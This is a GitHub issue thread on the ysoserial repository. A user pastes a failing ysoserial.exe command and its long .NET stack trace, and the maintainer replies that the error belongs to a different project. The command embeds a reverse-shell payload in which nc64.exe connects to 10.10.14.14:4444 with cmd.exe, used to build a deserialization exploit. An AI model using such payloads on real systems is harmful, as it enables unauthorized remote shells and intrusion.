frohoff / ysoserial

A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
http://frohoff.github.io/appseccali-marshalling-pickles/
MIT License
7.65k stars 1.74k forks source link

Ysoserial - System.IO.FileNotFoundException #217

Closed darshannn10 closed 5 months ago

darshannn10 commented 6 months ago

Hi, I need to create a payload using ysoserial, but when i ran the command, i'm getting the following error:

┌──(root㉿kali)-[/opt/ysoserial] └─PS> .\ysoserial.exe -f BinaryFormatter -g AxHostState -o base64 -c "C:\programdata\nc64.exe 10.10.14.14 4444 -e cmd.exe"

Unhandled Exception: System.IO.FileNotFoundException: Could not load file or assembly 'PresentationCore, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35' or one of its dependencies. File name: 'PresentationCore, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35' at ysoserial.Generators.GenericGenerator.GenerateWithInit (System.String formatter, ysoserial.Helpers.InputArgs inputArgs) [0x00007] in <7af936e4711e4f108b75fffd3ff56186>:0 at ysoserial.Generators.GenericGenerator.GenerateWithNoTest (System.String formatter, ysoserial.Helpers.InputArgs inputArgs) [0x0000e] in <7af936e4711e4f108b75fffd3ff56186>:0 at ysoserial.Generators.AxHostStateGenerator.Generate (System.String formatter, ysoserial.Helpers.InputArgs inputArgs) [0x0001b] in <7af936e4711e4f108b75fffd3ff56186>:0 at ysoserial.Generators.GenericGenerator.GenerateWithInit (System.String formatter, ysoserial.Helpers.InputArgs inputArgs) [0x00007] in <7af936e4711e4f108b75fffd3ff56186>:0 at ysoserial.Program.Main (System.String[] args) [0x008d6] in <7af936e4711e4f108b75fffd3ff56186>:0 [ERROR] FATAL UNHANDLED EXCEPTION: System.IO.FileNotFoundException: Could not load file or assembly 'PresentationCore, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35' or one of its dependencies. File name: 'PresentationCore, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35' at ysoserial.Generators.GenericGenerator.GenerateWithInit (System.String formatter, ysoserial.Helpers.InputArgs inputArgs) [0x00007] in <7af936e4711e4f108b75fffd3ff56186>:0 at ysoserial.Generators.GenericGenerator.GenerateWithNoTest (System.String formatter, ysoserial.Helpers.InputArgs inputArgs) [0x0000e] in <7af936e4711e4f108b75fffd3ff56186>:0 at ysoserial.Generators.AxHostStateGenerator.Generate (System.String formatter, ysoserial.Helpers.InputArgs inputArgs) [0x0001b] in <7af936e4711e4f108b75fffd3ff56186>:0 at ysoserial.Generators.GenericGenerator.GenerateWithInit (System.String formatter, ysoserial.Helpers.InputArgs inputArgs) [0x00007] in <7af936e4711e4f108b75fffd3ff56186>:0 at ysoserial.Program.Main (System.String[] args) [0x008d6] in <7af936e4711e4f108b75fffd3ff56186>:0

frohoff commented 5 months ago

This looks like a problem with a different but similar project https://github.com/pwntester/ysoserial